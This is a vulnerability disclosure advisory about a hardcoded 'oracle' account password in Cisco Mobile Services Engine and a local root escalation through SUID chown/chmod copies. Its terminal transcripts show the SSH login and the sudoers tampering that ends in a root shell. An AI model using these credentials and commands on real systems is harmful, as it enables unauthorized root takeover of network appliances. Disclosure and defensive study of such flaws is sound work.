SSD Advisory – Cisco MSE Preauthentication Remote Code Execution
Vulnerabilities Summary
Cisco Mobile Services Engine (MSE) is a platform that helps organizations increase visibility into the network, customize location-based mobile services, and strengthen security. The following advisory describes Cisco MSE Pre-Authentication Code Execution (Cisco MSE version 8.0.100.0).
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
The vendor has released Mobility Services Engine patches (November 2015) to address the vulnerabilities, advisory can be found here and here
Vulnerability Details
Cisco MSE is available in both a physical or virtual appliance. The virtual appliance by default runs a network-accessible SSH server. There is an undocumented user account on the system that allows remote shell access using a static password set upon install. Using this bug in combination with a local privilege escalation vulnerability allows a remote user to gain root privileges on the appliance.
There are two configured user accounts on the appliance, the root user and another account named “oracle”. Upon install, the root user’s password is set by an administrator, oracle’s account is undocumented. During the installation of the following files:
The MSE system, the account “oracle” is created and the password is set to “XmlDba123”.
We can see in script createSampledb.sh (/opt/installers/dbinstaller/binaryrpms/extracted/utils/createSampledb.sh) that the password is set.
Using this account, we can now login to the appliance.
1 2 3 4 5 6 7 8 9 10 11 | $ ssh oracle@cisco–mse oracle@cisco–mse‘s password: –bash–3.2$ id uid=440(oracle) gid=201(xmpdba) groups=200(oinstall),201(xmpdba),202(xmpoper) context=user_u:system_r:unconfined_t:s0 –bash–3.2$ |
From here we can escalate our privileges to root by exploiting some handy SUID binaries whose origins can be seen from the post-install log file.
Having a literal SUID root copy of both chmod and chown accessible on the system allow us to escalate our privileges using a variety of techniques. One example is changing the ownership and mode of the sudoers file in order to give the oracle user passwordless sudo privileges:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | –bash–3.2$ ls –al /opt/mse/framework/bin/setbackup* –rwsr–xr–x 1 root nobody 40024 Mar 6 00:27 /opt/mse/framework/bin/setbackupmod –rwsr–xr–x 1 root nobody 45392 Mar 6 00:27 /opt/mse/framework/bin/setbackupown –bash–3.2$ ls –al /etc/sudoers –r—r——– 1 root root 4789 Mar 6 00:27 /etc/sudoers –bash–3.2$ /opt/mse/framework/bin/setbackupown oracle /etc/sudoers –bash–3.2$ /opt/mse/framework/bin/setbackupmod 644 /etc/sudoers –bash–3.2$ ls –al /etc/sudoers –rw–r—r— 1 oracle root 4789 Mar 6 00:27 /etc/sudoers –bash–3.2$ echo “oracle ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers –bash–3.2$ sudo bash sudo: /etc/sudoers is mode 0644, should be 0440 sudo: no valid sudoers sources found, quitting –bash–3.2$ /opt/mse/framework/bin/setbackupown root /etc/sudoers –bash–3.2$ /opt/mse/framework/bin/setbackupmod 440 /etc/sudoers –bash–3.2$ sudo bash bash–3.2# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t:s0 |